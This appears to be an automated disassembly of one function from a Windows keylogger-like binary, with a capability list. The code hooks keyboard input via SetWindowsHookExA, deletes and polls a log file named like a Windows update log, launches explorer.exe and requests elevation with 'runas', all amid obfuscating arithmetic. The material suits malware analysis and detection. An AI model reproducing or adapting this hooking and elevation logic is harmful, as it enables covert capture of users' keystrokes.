Function at 0x40eaa0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.0042af20
mov eax, dword [0x459190]
mov ecx, dword [0x457824]
mov dword [esp + 0x1068], eax
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
push esi
mov esi, dword [0x457838]
push edi
mov edi, eax
mov eax, 0x9ad70599
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, esi
imul edx, edx, 0x1685
sub edi, ecx
mov ecx, dword [0x45781c]
add edi, edx
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
mov ecx, dword [0x457830]
sar edx, 0xc
imul ecx, ecx, 0x10e6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp + 8]
add edi, ecx
cmp eax, 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], edi
je 0x40ebcf
mov ecx, dword [0x45782c]
imul edi, edi, 0x1a74
mov eax, 0x9ad70599
imul ecx
add edx, ecx
mov ecx, dword [0x457820]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x77826bf5
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457818]
imul edx, edx, 0x59b
sub edi, ecx
mov ecx, dword [0x457834]
add edi, edx
sub edi, ecx
sub edi, 0x2220
mov dword [0x457820], edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x64
lea esp, [esp]
push 0x3e8
call edi
dec esi
jne 0x40ebb0
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a6e1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45782c]
mov ebx, dword [0x457820]
imul eax, eax, 0x2220
mov dword [esp + 0xc], eax
mov eax, 0x9ad70599
imul ebx
mov eax, dword [esp + 0xc]
add edx, ebx
sar edx, 0xc
add eax, edx
mov ecx, edx
mov edx, dword [0x457830]
shr ecx, 0x1f
imul edx, edx, 0xe4e
add ecx, eax
mov eax, ebx
imul eax, eax, 0x1643
add ecx, eax
add ecx, edx
mov eax, 0xb6adc247
imul dword [0x45781c]
add edx, dword [0x45781c]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [section.beill_tt]
test eax, eax
mov dword [0x45782c], ecx
je 0x40ecbd
mov ecx, dword [0x457834]
mov eax, 0xf00f00f1
imul ecx
mov eax, dword [0x457830]
add edx, ecx
imul eax, eax, 0x1643
sar edx, 0xd
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x457818]
imul edx, edx, 0x2220
add esi, edx
sub esi, eax
mov eax, 0x8f2b7b75
imul ebx
add edx, ebx
sar edx, 0xb
add esi, edx
mov edi, edx
mov eax, 0xb6adc247
imul ecx
add edx, ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
shr edi, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov dword [0x457818], edi
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042a6e1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x17eb125
imul ecx
mov eax, dword [0x457818]
sar edx, 5
imul eax, eax, 0x10e6
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, edi
imul edx, edx, 0x2234
add edx, eax
mov eax, dword [0x457828]
imul eax, eax, 0x59b
add edx, eax
mov eax, dword [0x457830]
sub edx, ebx
lea edx, [edx + eax - 0x2220]
mov dword [0x457824], edx
mov eax, 0x887d940b
imul ecx, ecx, 0x2220
imul dword [0x45781c]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457824]
mov dword [esp + 0xc], ecx
imul edx, edx, 0x562
mov ecx, eax
sub ecx, dword [esp + 0xc]
mov eax, dword [0x457828]
imul eax, eax, 0xe4e
add ecx, eax
mov eax, dword [ebp + 0x10]
sub ecx, edx
test eax, eax
mov dword [0x457830], ecx
jg 0x40ee4f
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40ee4f
lea edx, [eax + 1]
mov dword [esp + 0xc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40ed67
sub eax, dword [esp + 0xc]
mov dword [esp + 0x10], eax
je 0x40ee4f
mov eax, 0x77c150d
imul ecx, ecx, 0x10e6
imul esi
imul esi, esi, 0x1685
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x17eb125
imul dword [0x45781c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
sub ebx, esi
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, dword [ebp + 0x14]
sub eax, edi
push ecx
add eax, 0x1123
push 0
mov dword [0x45781c], eax
call fcn.0040c1e0
add esp, 8
test eax, eax
mov dword [esp + 0xc], eax
jle 0x40f709
mov ecx, dword [0x457828]
mov esi, dword [0x457834]
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov edi, ecx
mov eax, edx
imul edi, edi, 0x2234
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9ad70599
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xb7fe3405
imul ecx
mov esi, dword [0x457838]
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457818]
imul edx, edx, 0x1568
sub edi, ecx
mov ecx, dword [0x457830]
add edi, edx
mov dword [0x457834], edi
jmp 0x40ee8c
mov eax, dword [0x457834]
mov esi, dword [0x457820]
imul eax, eax, 0x2220
imul esi, esi, 0xffffeeb2
sub esi, eax
mov eax, 0x8f2b7b75
imul edi
add edx, edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp + 0x10]
sub esi, eax
add esi, ebx
mov dword [0x457838], esi
mov dword [esp + 0xc], edx
mov edi, dword [0x457824]
imul esi, esi, 0x1685
imul ecx, ecx, 0x10e6
mov eax, 0x77c150d
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x9ad70599
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
mov esi, dword [0x45781c]
mov eax, 0xb7fe3405
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
push str.c:windowsKB978978.log
mov dword [str._r_____r____], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x457834]
mov eax, 0xf00f00f1
imul ecx
mov eax, dword [0x457830]
add edx, ecx
imul eax, eax, 0x1643
mov esi, dword [0x457820]
sar edx, 0xd
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x457818]
imul edx, edx, 0x2220
add edi, edx
sub edi, eax
mov eax, 0x8f2b7b75
imul esi
add edx, esi
sar edx, 0xb
mov esi, edx
add edi, edx
mov eax, 0xb6adc247
imul ecx
mov eax, dword [0x56b32c]
add edx, ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [esp + 0xc]
push edx
shr esi, 0x1f
push eax
add esi, edi
sub esi, ecx
mov ecx, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push ecx
mov dword [0x457818], esi
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.beill_tt], eax
je 0x40f781
mov ebx, dword [0x45782c]
mov ecx, dword [str._r_____r____]
mov eax, 0x9ad70599
imul ebx
add edx, ebx
sar edx, 0xc
mov esi, ecx
imul esi, esi, 0x1a74
mov edi, dword [0x457818]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457820]
sub esi, eax
mov eax, 0x77826bf5
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x59b
sub esi, eax
add esi, edx
sub esi, dword [0x457834]
sub esi, 0x2220
mov dword [0x56b330], 1
mov dword [esp + 0xc], 0
jmp 0x40f011
mov ecx, dword [str._r_____r____]
mov esi, dword [0x457820]
mov edi, dword [0x457818]
mov ebx, dword [0x45782c]
mov eax, 0x9ad70599
imul ecx, ecx, 0x1a74
imul edi, edi, 0x59b
imul ebx
add edx, ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x77826bf5
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
sub ecx, dword [0x457834]
sub ecx, 0x2220
push str.c:windowsKB978978.log
mov dword [0x457820], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x40f085
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x12c
mov dword [esp + 0xc], eax
jl 0x40eff9
mov edi, dword [0x457824]
mov ecx, dword [0x457838]
mov eax, 0xf883eaf3
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov esi, ecx
imul esi, esi, 0x2220
mov eax, 0x2d78bd59
imul ecx
sar edx, 0xa
sub ebx, esi
mov esi, dword [0x45781c]
add ebx, edx
mov eax, edx
mov edx, esi
imul edx, edx, 0x1568
shr eax, 0x1f
add eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x7931d3bd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
cmp dword [esp + 0xc], 0x12c
mov dword [0x457828], ebx
jl 0x40f7f0
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x40f7f0
mov ecx, dword [0x457820]
mov edi, dword [0x45782c]
mov eax, 0x9ad70599
imul edi, edi, 0x2220
imul ecx
add edx, ecx
imul ecx, ecx, 0x1643
sar edx, 0xc
mov ebx, edx
add edi, edx
shr ebx, 0x1f
mov eax, 0xb6adc247
imul esi
add ebx, edi
add ebx, ecx
mov ecx, dword [0x457830]
imul ecx, ecx, 0xe4e
add edx, esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add ebx, ecx
add eax, edx
push 0x800
lea ecx, [esp + 0x74]
sub ebx, eax
push ecx
mov dword [0x45782c], ebx
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45781c]
mov esi, dword [0x45782c]
mov eax, 0x887d940b
imul esi, esi, 0x2220
imul ecx
mov ecx, dword [0x457828]
sar edx, 0xb
imul ecx, ecx, 0xe4e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457824]
imul edx, edx, 0x562
sub eax, esi
add eax, ecx
sub eax, edx
mov dword [0x457830], eax
lea eax, [esp + 0x70]
push eax
lea ecx, [esp + 0x874]
push str._sexplorer.exe
push ecx
call fcn.0042a8b1
lea edx, [esp + 0x87c]
push 0
push edx
call fcn.0042ac4d
add esp, 0x14
cmp eax, 0xffffffff
je 0x40f66b
mov ecx, dword [0x457828]
mov esi, dword [0x457834]
mov eax, 0x77c150d
imul ecx
sar edx, 8
mov edi, ecx
mov eax, edx
imul edi, edi, 0x2234
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9ad70599
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457818]
imul edx, edx, 0x1568
sub edi, ecx
add edi, edx
push str.explorer.exe
mov dword [0x457834], edi
call fcn.00405350
mov ecx, dword [0x45782c]
mov esi, dword [0x457834]
mov eax, 0x17eb125
imul esi, esi, 0x2220
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457820]
imul edx, edx, 0x114e
mov ecx, eax
sub ecx, esi
mov esi, dword [str._r_____r____]
sub ecx, edx
mov eax, 0x8f2b7b75
imul esi
add edx, esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 4
sub ecx, eax
mov dword [0x457838], ecx
mov dword [esp + 0xc], 5
jmp 0x40f2d0
mov ecx, dword [0x457838]
jmp 0x40f2d0
mov esi, dword [0x457824]
imul ecx, ecx, 0x1685
mov eax, 0x77c150d
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x9ad70599
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45781c]
mov eax, 0xb7fe3405
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457830]
imul edx, edx, 0x10e6
sub edi, ecx
add edi, edx
push str.explorer.exe
mov dword [str._r_____r____], edi
call fcn.00404e60
add esp, 4
test eax, eax
jg 0x40f5f2
mov ebx, dword [0x457834]
mov ecx, dword [0x457830]
mov eax, 0xf00f00f1
imul ecx, ecx, 0x1643
imul ebx
mov eax, dword [0x457818]
imul eax, eax, 0x2220
add edx, ebx
sar edx, 0xd
mov edi, edx
shr edi, 0x1f
add edi, edx
add edi, eax
sub edi, ecx
mov ecx, dword [0x457820]
mov eax, 0x8f2b7b75
imul ecx
add edx, ecx
sar edx, 0xb
add edi, edx
mov esi, edx
mov eax, 0xb6adc247
imul ebx
add edx, ebx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
shr esi, 0x1f
add esi, edi
sub esi, eax
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x457838]
mov eax, 0x77c150d
imul ecx
imul ecx, ecx, 0x1685
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x45781c]
mov eax, 0x17eb125
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 5
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, dword [0x457830]
imul eax, eax, 0x10e6
add edi, eax
sub edi, ecx
imul ecx, ecx, 0x1a74
add edi, 0x1123
mov dword [0x45781c], edi
mov edi, dword [0x45782c]
mov eax, 0x9ad70599
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x77826bf5
imul dword [0x457820]
sar edx, 0xb
mov eax, edx
mov dword [0x457818], esi
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
shr eax, 0x1f
imul esi, esi, 0x59b
add eax, edx
sub ecx, eax
add ecx, esi
sub ecx, ebx
sub ecx, 0x2220
mov dword [0x457820], ecx
lea ecx, [esp + 0x60]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x78]
push eax
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x890]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40f50b
mov ecx, dword [0x45782c]
mov esi, dword [str._r_____r____]
mov ebx, dword [0x457830]
imul esi, esi, 0x2234
mov eax, 0x17eb125
imul ecx
mov ecx, dword [0x457828]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x457818]
imul edx, edx, 0x10e6
sub esi, eax
mov eax, ecx
imul eax, eax, 0x59b
add edx, ebx
add edx, esi
lea edx, [eax + edx - 0x2220]
mov dword [0x457824], edx
jmp 0x40f5f8
mov edx, dword [0x457824]
mov ecx, dword [0x457838]
mov eax, 0xf883eaf3
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
imul esi, esi, 0x2220
mov eax, 0x2d78bd59
imul ecx
sar edx, 0xa
sub edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x45781c]
imul edx, edx, 0x1568
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x7931d3bd
imul ecx
sar edx, 0xb
push 1
mov eax, edx
lea ecx, [esp + 0x74]
push ecx
shr eax, 0x1f
add eax, edx
push 0
lea edx, [esp + 0x87c]
push edx
push str.runas
sub esi, eax
push 0
mov dword [0x457828], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, dword [0x45782c]
imul esi, esi, 0x2220
cmp eax, 0x20
jg 0x40f6c8
mov ecx, dword [0x457820]
mov eax, 0x9ad70599
imul ecx
mov eax, dword [0x457830]
add edx, ecx
imul ecx, ecx, 0x1643
imul eax, eax, 0xe4e
sar edx, 0xc
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
add edi, ecx
mov ecx, dword [0x45781c]
add edi, eax
mov eax, 0xb6adc247
imul ecx
add edx, ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov dword [0x45782c], edi
mov ecx, dword [0x457828]
mov esi, dword [0x457834]
mov eax, 0x77c150d
imul ecx
mov edi, ecx
sar edx, 8
imul edi, edi, 0x2234
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9ad70599
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xb7fe3405
imul ecx
mov eax, dword [0x457818]
add edx, ecx
imul eax, eax, 0x1568
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
add edi, eax
push 0x3e8
mov dword [0x457834], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0xc]
jne 0x40f2c0
mov esi, dword [0x457820]
mov edi, dword [str._r_____r____]
imul esi, esi, 0xffffeeb2
mov eax, 0x17eb125
imul dword [0x45782c]
sar edx, 5
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x457834]
imul edx, edx, 0x2220
mov ecx, dword [0x45782c]
sub esi, edx
mov eax, 0x8f2b7b75
imul edi
add edx, edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ebx
mov dword [0x457838], esi
jmp 0x40ed04
mov ecx, dword [0x45781c]
mov eax, 0x887d940b
imul ecx
mov ecx, dword [0x457828]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0xe4e
sub eax, esi
add eax, edx
mov edx, dword [0x457824]
imul edx, edx, 0x562
sub eax, edx
mov dword [0x457830], eax
jmp 0x40f5f8
mov edx, dword [0x457824]
mov ecx, dword [0x457838]
mov eax, 0xf883eaf3
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
imul esi, esi, 0x2220
mov eax, 0x2d78bd59
imul ecx
sub edi, esi
sar edx, 0xa
add edi, edx
mov esi, edx
mov edx, dword [0x45781c]
imul edx, edx, 0x1568
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x7931d3bd
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov dword [0x457828], esi
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a6e1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x457838]
mov eax, 0x77c150d
imul ecx
imul ecx, ecx, 0x1685
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x45781c]
mov eax, 0x17eb125
imul ecx
sar edx, 5
add esi, edx
mov ecx, edx
mov edx, dword [0x457830]
imul edx, edx, 0x10e6
shr ecx, 0x1f
add ecx, esi
add ecx, edx
sub ecx, dword [str._r_____r____]
add ecx, 0x1123
mov dword [0x45781c], ecx
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042a6e1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x77c150d
imul ecx, ecx, 0x1685
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x9ad70599
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xb7fe3405
imul esi
add ebx, ecx
add edx, esi
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x457830]
imul edx, edx, 0x10e6
sub ebx, ecx
mov ecx, dword [esp + 0x1074]
add ebx, edx
mov dword [str._r_____r____], ebx
mov eax, 1
call fcn.0042a6e1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret